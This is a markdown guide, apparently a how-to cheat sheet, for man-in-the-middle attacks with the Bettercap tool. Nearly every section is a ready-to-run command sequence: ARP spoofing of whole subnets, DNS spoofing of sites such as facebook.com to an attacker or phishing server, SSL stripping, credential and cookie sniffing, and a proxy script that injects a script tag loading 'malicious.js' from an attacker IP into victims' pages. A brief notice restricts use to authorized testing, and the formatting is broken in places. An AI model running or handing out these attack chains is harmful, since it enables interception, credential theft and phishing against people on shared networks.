

Bettercap MITM (Man-in-the-Middle) Attack Guide

Table of Contents

1. [Installation & Setup](#installation--setup)
2. [Network Reconnaissance](#network-reconnaissance)
3. [ARP Spoofing Attacks](#arp-spoofing-attacks)
4. [DNS Spoofing](#dns-spoofing)
5. [HTTP/HTTPS Traffic Interception](#httphttps-traffic-interception)
6. [SSL Stripping](#ssl-stripping)
7. [Credential Harvesting](#credential-harvesting)
8. [Advanced MITM Scenarios](#advanced-mitm-scenarios)

Installation & Setup

Install Bettercap

```bash

# Ubuntu/Debian

sudo apt update

sudo apt install bettercap -y

# From source (latest version)

sudo apt install golang git build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev

go install github.com/bettercap/bettercap@latest

sudo mv ~/go/bin/bettercap /usr/local/bin/

```

Enable IP Forwarding (Required for MITM)

```bash

# Temporary (until reboot)

sudo sysctl -w net.ipv4.ip\_forward=1

sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Permanent

echo "net.ipv4.ip\_forward=1" | sudo tee -a /etc/sysctl.conf

echo "net.ipv6.conf.all.forwarding=1" | sudo tee -a /etc/sysctl.conf

sudo sysctl -p

```

Launch Bettercap

```bash

# Standard launch

sudo bettercap

# Launch on specific interface

sudo bettercap -iface eth0

# Launch with web UI

sudo bettercap -caplet http-ui

```

Network Reconnaissance

Basic Network Discovery

```bash

# Discover hosts on network

net.probe on

# Show discovered hosts

net.show

# Continuous network probing

net.probe on

set net.probe.throttle 10

```

Detailed Network Scan

```bash

# Full network recon module

net.recon on

# Show all discovered information

net.show

# Get gateway information

!arp -a | grep gateway

...

### ### Identify Targets

```
```bash
# List all active hosts with details
net.show

# Set specific target
set arp.spoof.targets 192.168.1.100

# Set multiple targets
set arp.spoof.targets 192.168.1.100,192.168.1.101,192.168.1.102

# Target entire subnet
set arp.spoof.targets 192.168.1.0/24
```
```

---

## ## ARP Spoofing Attacks

### ### Basic ARP Spoofing (Single Target)

```
```bash
# Enable IP forwarding first
!echo 1 > /proc/sys/net/ipv4/ip_forward

# Set target
set arp.spoof.targets 192.168.1.100

# Start ARP spoofing
arp.spoof on

# Verify spoofing
arp.spoof.stats

# Stop spoofing
arp.spoof off
```
```

### ### ARP Spoofing (Multiple Targets)

```
```bash
# Target multiple hosts
set arp.spoof.targets 192.168.1.100,192.168.1.101,192.168.1.105

# Start spoofing
arp.spoof on

# Monitor in real-time
events.stream on
```
```

### ### ARP Spoofing (Entire Network)

```
```bash
# Target all hosts on subnet
set arp.spoof.targets 192.168.1.0/24

# Use full duplex (bidirectional spoofing)
set arp.spoof.full duplex true

# Start attack
arp.spoof on
```
```

### ### ARP Spoofing Configuration Options

```
```bash
# Set internal network interface
set arp.spoof.internal true

# Disable gateway spoofing (only target-to-target)
set arp.spoof.full duplex false

# Custom ban/block targets
arp.ban on
```
```

---

## ## DNS Spoofing

### ### Basic DNS Spoofing Setup

```

```bash
# Enable ARP spoofing first
set arp.spoof.targets 192.168.1.100
arp.spoof on

# Set DNS spoofing entries
set dns.spoof.domains example.com,*.example.com

# Set IP to redirect to
set dns.spoof.address 192.168.1.50

# Enable DNS spoofing
dns.spoof on
```

Advanced DNS Spoofing
```bash
# Spoof all DNS queries
set dns.spoof.all true

# Spoof specific domains to different IPs
set dns.spoof.domains facebook.com
set dns.spoof.address 10.0.0.1
dns.spoof on

# Create custom DNS hosts file
# Edit: /usr/local/share/bettercap/caplets/dns-spoof.cap
```

DNS Spoofing with Custom Hosts
```bash
# Create hosts file: /tmp/dns-hosts.txt
# Format: domain.com address
# Example content:
# facebook.com 192.168.1.50
# google.com 192.168.1.50
# *.twitter.com 192.168.1.50

# Load custom hosts
set dns.spoof.hosts /tmp/dns-hosts.txt
dns.spoof on
```

HTTP/HTTPS Traffic Interception

Enable HTTP/HTTPS Proxy
```bash
# Start HTTP proxy
set http.proxy.port 8080
set http.proxy.address 0.0.0.0
http.proxy on

# Start HTTPS proxy
set https.proxy.port 8083
set https.proxy.address 0.0.0.0
https.proxy on
```

Intercept and Log HTTP Traffic
```bash
# Enable ARP spoofing
set arp.spoof.targets 192.168.1.100
arp.spoof on

# Enable HTTP sniffer
set http.proxy.sslstrip true
http.proxy on

# Log all HTTP requests
set http.proxy.script /usr/local/share/bettercap/caplets/http-req-dump.js
events.stream on
```

HTTPS Proxy with SSL Strip
```bash
# Install SSL certificate first (one-time setup)
# Certificate will be at: ~/.bettercap-ca.pem

```

```
# Enable HTTPS interception
set https.proxy.certificate ~/.bettercap-ca.pem
set https.proxy.key ~/.bettercap-ca.key
https.proxy on

# Strip SSL
set http.proxy.sslstrip true
http.proxy on
```

View Live HTTP Traffic
```bash
# Real-time HTTP request monitoring
set http.proxy.script /usr/local/share/bettercap/caplets/http-req-dump.js
http.proxy on
events.stream on

# View events
events.show 50
```

SSL Stripping

Basic SSL Strip Attack
```bash
# Enable IP forwarding
!echo 1 > /proc/sys/net/ipv4/ip_forward

# ARP spoof target
set arp.spoof.targets 192.168.1.100
arp.spoof on

# Enable SSL stripping
set http.proxy.sslstrip true
set http.proxy.port 8080
http.proxy on

# Monitor stripped credentials
events.stream on
```

SSL Strip with HSTS Bypass
```bash
# Configure proxies
set http.proxy.sslstrip true
set http.proxy.port 8080

# Start proxy
http.proxy on

# Enable ARP spoofing
set arp.spoof.targets 192.168.1.0/24
arp.spoof on

# Log credentials
set net.sniff.verbose true
set net.sniff.local true
net.sniff on
```

SSL Strip + DNS Spoof Combo
```bash
# ARP spoof the network
set arp.spoof.targets 192.168.1.0/24
arp.spoof on

# DNS spoof to redirect HTTPS sites
set dns.spoof.domains facebook.com,*.facebook.com
set dns.spoof.address YOUR_IP
dns.spoof on

# Strip SSL
set http.proxy.sslstrip true
http.proxy on
```

```

```
Credential Harvesting

Sniff Network Credentials
```bash
# Enable packet sniffer
set net.sniff.verbose true
set net.sniff.local true
set net.sniff.filter tcp port 80 or tcp port 443 or tcp port 21 or tcp port 22
net.sniff on

# Enable ARP spoofing
set arp.spoof.targets 192.168.1.0/24
arp.spoof on

# Credentials will appear in events
events.stream on
```

HTTP Form Credential Capture
```bash
# ARP spoof target
set arp.spoof.targets 192.168.1.100
arp.spoof on

# Enable HTTP proxy with credential logging
set http.proxy.script /usr/local/share/bettercap/caplets/http-req-dump.js
http.proxy on

# Watch for POST requests with passwords
events.stream on
```

FTP/Telnet Credential Sniffing
```bash
# Set filter for FTP (21) and Telnet (23)
set net.sniff.filter tcp port 21 or tcp port 23
set net.sniff.verbose true
net.sniff on

# Enable spoofing
set arp.spoof.targets 192.168.1.0/24
arp.spoof on
```

Cookie Stealing
```bash
# Enable HTTP proxy
http.proxy on

# Use custom JavaScript to steal cookies
set http.proxy.script /usr/local/share/bettercap/caplets/beef-inject.js

# Monitor captured cookies
events.stream on
```

Advanced MITM Scenarios

Complete MITM Stack (All-in-One)
```bash
# Full attack setup
!echo 1 > /proc/sys/net/ipv4/ip_forward

# Network discovery
net.probe on

# Target entire network
set arp.spoof.targets 192.168.1.0/24
set arp.spoof.full duplex true
arp.spoof on

# DNS spoofing
set dns.spoof.all true
dns.spoof on

# SSL stripping
set http.proxy.sslstrip true
http.proxy on
```

```

# HTTPS proxy
https.proxy on

# Packet sniffing
set net.sniff.verbose true
net.sniff on

# Enable event logging
events.stream on
```

Image Replacement Attack
```bash
# ARP spoof
set arp.spoof.targets 192.168.1.100
arp.spoof on

# Create image replacement script
# File: /tmp/img-replace.js
# Content:
# function onResponse(req, res) {
#     if( res.ContentType.indexOf('image/') == 0 ) {
#         res.Body = "YOUR_BASE64_ENCODED_IMAGE";
#     }
# }

# Load and enable
set http.proxy.script /tmp/img-replace.js
http.proxy on
```

JavaScript Injection Attack
```bash
# ARP spoof target
set arp.spoof.targets 192.168.1.100
arp.spoof on

# Inject BeEF hook (Browser Exploitation Framework)
set http.proxy.script /usr/local/share/bettercap/caplets/beef-inject.js
http.proxy on

# Or inject custom JavaScript
# Create: /tmp/inject.js
# Content:
# function onLoad() {
#     console.log("Loading custom injection...");
# }
#
# function onResponse(req, res) {
#     if( res.ContentType.indexOf('text/html') == 0 ) {
#         var body = res.ReadBody();
#         if( body.indexOf('</head>') != -1 ) {
#             res.Body = body.replace('</head>',
#                                     '<script src="http://YOUR_IP/malicious.js"></script></head>');
#         }
#     }
# }

set http.proxy.script /tmp/inject.js
http.proxy on
```

Traffic Redirection to Phishing Page
```bash
# ARP spoof
set arp.spoof.targets 192.168.1.0/24
arp.spoof on

# DNS spoof to redirect specific sites
set dns.spoof.domains facebook.com,www.facebook.com
set dns.spoof.address YOUR_PHISHING_SERVER_IP
dns.spoof on

# SSL strip to downgrade HTTPS
set http.proxy.sslstrip true
http.proxy on
```

MITM with Packet Modification

```

```

```bash
# Setup ARP spoofing
set arp.spoof.targets 192.168.1.100
arp.spoof on

# Create packet modification script
# File: /tmp/modify.js
# Example: Replace all instances of a word
# function onResponse(req, res) {
#     if( res.ContentType.indexOf('text/html') == 0 ) {
#         var body = res.ReadBody();
#         res.Body = body.replace(/original/g, 'modified');
#     }
# }

set http.proxy.script /tmp/modify.js
http.proxy on
```

```

### ### MITM Session Hijacking

```

```bash
# Enable spoofing
set arp.spoof.targets 192.168.1.100
arp.spoof on

# Capture cookies and sessions
set net.sniff.verbose true
set net.sniff.filter "tcp port 80 or tcp port 443"
net.sniff on

# Proxy traffic to capture session tokens
http.proxy on

# Stream events to see captured sessions
events.stream on
```

```

### ### Caplet-Based Automated MITM

```

```bash
# Create caplet file: /tmp/auto-mitm.cap
# Content:
# net.probe on
# set arp.spoof.targets 192.168.1.0/24
# arp.spoof on
# set dns.spoof.all true
# dns.spoof on
# set http.proxy.sslstrip true
# http.proxy on
# net.sniff on
# events.stream on

# Run caplet
sudo bettercap -caplet /tmp/auto-mitm.cap
```

```

---

## ## Quick Reference Commands

### ### Essential Commands

```

```bash
help                # Show help
help module_name    # Module-specific help
clear               # Clear screen
q or exit           # Quit bettercap
!command            # Execute shell command
events.stream on    # Real-time event monitoring
events.show         # Show event history
active              # Show active modules
```

```

### ### Network Commands

```

```bash
net.probe on/off    # Network discovery
net.recon on/off    # Detailed reconnaissance
net.show            # Show discovered hosts
net.sniff on/off    # Packet sniffing
```

```

### ### ARP Commands

```

```bash
arp.spoof on/off          # Start/stop ARP spoofing
arp.ban on/off            # ARP ban (denial of service)
set arp.spoof.targets IP  # Set target(s)
set arp.spoof.full duplex true # Bidirectional spoofing
```

DNS Commands
```bash
dns.spoof on/off          # Start/stop DNS spoofing
set dns.spoof.domains DOMAIN # Set domains to spoof
set dns.spoof.address IP   # Set redirect IP
set dns.spoof.all true     # Spoof all DNS requests
```

HTTP/HTTPS Commands
```bash
http.proxy on/off         # HTTP proxy
https.proxy on/off        # HTTPS proxy
set http.proxy.sslstrip true # Enable SSL stripping
set http.proxy.script PATH  # Load injection script
```

Safety & Legal Notice

IMPORTANT: Use these tools only on networks you own or have explicit permission to test. Unauthorized network attacks are illegal and unethical.

Legitimate Use Cases:

- Penetration testing with authorization
- Security research in controlled environments
- Red team exercises
- Educational purposes in lab environments
- Network security assessments with client permission

Stop All Attacks
```bash
# Quickly disable all modules
arp.spoof off
dns.spoof off
http.proxy off
https.proxy off
net.sniff off
net.probe off
```

Troubleshooting

Common Issues

ARP Spoofing Not Working:
```bash
# Verify IP forwarding
cat /proc/sys/net/ipv4/ip_forward
# Should return 1

# Check network interface
ifconfig
ip addr show

# Verify gateway
ip route | grep default
```

SSL Strip Not Working:
```bash
# Clear browser cache/cookies on target
# Check if HSTS is enabled (harder to strip)
# Try different proxy port
set http.proxy.port 8888
```

No Traffic Captured:
```bash
# Verify target is actually communicating
# Check firewall rules

```

```
sudo iptables -L -n
```

```
# Ensure proper routing
ip route show
```
```

```
Monitor Network Traffic
```

```
```bash
```

```
# Check if packets are flowing
```

```
sudo tcpdump -i eth0 -n
```

```
# Verify ARP table manipulation
```

```
arp -a
```

```
```
```

```

```

```
Additional Resources
```

```
- Official Bettercap Documentation: https://www.bettercap.org/
```

```
- GitHub: https://github.com/bettercap/bettercap
```

```
- Interactive Tutorial: https://www.bettercap.org/usage/
```

```
- Caplets Repository: https://github.com/bettercap/caplets
```

```

```

```
This guide is for educational and authorized security testing only.
```